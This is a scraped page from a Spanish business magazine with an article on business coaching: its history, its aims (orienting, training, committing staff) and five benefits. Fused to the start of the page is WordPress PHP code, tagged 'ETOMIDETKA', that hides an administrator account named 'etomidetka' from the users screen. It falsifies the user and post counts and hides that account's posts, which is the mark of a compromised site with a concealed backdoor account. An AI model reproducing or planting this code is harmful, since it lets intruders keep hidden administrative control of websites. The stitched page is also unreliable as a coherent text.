//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Coaching Empresarial. | Revista Fusión Empresarial
Coaching Empresarial.

Coaching es una palabra inglesa que significa entrenar, por lo tanto, el Coach entrena y el Coachee recibe el entrenamiento, a quien se lleva a lo más profundo de su interior para obtener respuestas.

En la actualidad, el coaching es la segunda industria de mayor crecimiento mundial, después de la de tecnología de información. Su auge se dio a finales de la década de los 70´s con el profesor Timothy Gallwey. Existen distintos tipos de coaching que están clasificados en función al área de trabajo de una persona. Clasificación según el Psicólogo Jonathan García Allen: Coaching Deportivo, Personal y Organizacional, el cual se divide en Ejecutivo y el Empresarial del cual haré referencia en esta ocasión.

El Coaching Empresarial, tiene como objetivo general, potencializar las habilidades de cada uno de los colaboradores de una empresa para lograr su máximo rendimiento y una compartir una visión en común; está dirigido a organizaciones, empresas y emprendedores. Desarrolla temas como el empoderamiento, la gestión del tiempo, trabajo en equipo, productividad, satisfacción de los clientes, resiliencia y manejo de crisis.

Sus principales objetivos son:

Orientar: Dar a conocer un diagnóstico general de la empresa y detectar con claridad los departamentos o direcciones en donde exista posibilidad de mejora.

Capacitar: Ofrecer al equipo, herramientas funcionales que les permitan desarrollar ideas y/o estrategias para hacer eficiente su labor profesional.

Comprometer: Si las personas de tu organización ven que se apuesta por ellas, que se invierte en un proceso de coaching empresarial para que aporten más valor aún a la empresa, ganan en sentimiento de pertenencia, el resultado se verá en su implicación y compromiso laboral.

5 beneficios del Coaching Empresarial

1 Utiliza la experiencia para crecer.

2 Fomenta el apoyo y la responsabilidad.

3 Convierte el fracaso en crecimiento.

4 Capacita a los participantes para negociar.

5 Mejora la calidad de los resultados y el liderazgo.

El Coaching Empresarial es en un producto de primera necesidad para dueños de negocio y emprendedores que buscan acelerar el crecimiento de sus proyectos alrededor del mundo, el coaching ha jugado un papel importante al aportar mediante el coaching empresarial, herramientas competitivas para ofrecer rentabilidad a nivel global. Es importante contar con coaches profesionales que analizan la circunstacia de la empresa, diagnostican la problemática y generan una estrategia asertiva para llevar a las empresas a nivel competitivo empresarial y al éxito personal.  Estoy para servirte.

Añadir Comentario